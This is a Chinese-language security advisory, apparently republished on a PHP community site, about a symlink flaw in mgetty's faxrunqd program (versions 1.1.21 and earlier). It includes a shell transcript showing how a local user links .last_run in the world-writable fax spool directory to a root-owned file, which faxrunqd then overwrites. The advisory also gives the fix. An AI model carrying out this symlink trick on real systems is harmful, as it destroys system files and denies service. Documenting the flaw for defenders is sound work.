当前位置:  首页  >  服务器技术  >  Linux/unix  >  Linux教程

Linuxfaxrunqd文件创建问题导致拒绝服务攻击

文章标题:Linuxfaxrunqd文件创建问题导致拒绝服务攻击。Linux是中国IT实验室的一个技术频道。包含桌面应用,Linux系统管理,内核研究,嵌入式系统和开源等一些基本分类

  受影响系统:

  mgetty 1.1.21以及更低版本

  - Linux redhat 6.2以及更低版本

  - Linux-Mandrake 7.1 以及更低版本

  - 其他使用有问题mgetty的unix系统

  不受影响系统:

  mgetty 1.1.22

  描述:

  mgetty中带了一个faxrunqd程序,它用来发送faxspool(1)产生的传真队列中的任务。

  在执行时,该程序会在/var/spool/outgoing/目录下创建一个.last_run文件,这个

  目录是任何人可写的。在某些mgetty版本中所带的faxrunqd没有检查该文件是否存在

  或是链接文件,因此攻击者可能覆盖任意系统文件,造成拒绝服务攻击。

  <* 来源: Stan Bubrouski (satan@fastdial.net)*>

  测试方法:

  警 告

  以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

  [user@king /tmp]$ id

  uid=200(user) gid=100(users) groups=100(users)

  [user@king /tmp]$ ls -al /var/spool/fax/outgoing

  total 3

  drwxrwxrwt 3 root root 1024 Jun 2 18:46 .

  drwxr-xr-x 4 root root 1024 Jun 2 18:46 ..

  drwxrwxrwx 2 root root 1024 Jun 1 00:47 locks

  [user@king /tmp]$ ls -al /etc/smash_me

  -rw-r--r-- 1 root root 12 Jun 2 18:45 /etc/smash_me

  [user@king /tmp]$ cat /etc/smash_me

  Smash me!!!

  [user@king /tmp]$ ln -s /etc/smash_me /var/spool/fax/outgoing/.last_run

  [user@king /tmp]$ ls -al /var/spool/fax/outgoing

  total 3

  drwxrwxrwt 3 root root 1024 Jun 2 18:48 .

  drwxr-xr-x 4 root root 1024 Jun 2 18:46 ..

  lrwxrwxrwx 1 user users 13 Jun 2 18:48 .last_run ->

  /etc/smash_me

  drwxrwxrwx 2 root root 1024 Jun 1 00:47 locks

  Root console:

  [root@king /tmp]# faxrunqd -l ttyS0

  ...

  Remote unprivilaged user:

  [user@king /tmp]$ ls -al /var/spool/fax/outgoing

  total 3

  drwxrwxrwt 3 root root 1024 Jun 2 18:48 .

  drwxr-xr-x 4 root root 1024 Jun 2 18:48 ..

  lrwxrwxrwx 1 user users 13 Jun 2 18:48 .last_run ->

  /etc/smash_me

  drwxrwxrwx 2 root root 1024 Jun 1 00:47 locks

  [user@king /tmp]$ ls -al /etc/smash_me

  -rw-r--r-- 1 root root 44 Jun 2 18:48 /etc/smash_me

  [user@king /tmp]$ cat /etc/smash_me

  Fri Jun 2 18:48:47 2000 /usr/sbin/faxrunqd

  建议:

  mgetty 1.1.22已经解决了这个问题,您可以在下列地址下载:

  http://alpha.greenie.net/mgetty/

吐了个 "CAO" !
扫码关注 PHP1 官方微信号
PHP1.CN | 中国最专业的PHP中文社区 | PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | PHP问答
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved PHP1.CN 第一PHP社区 版权所有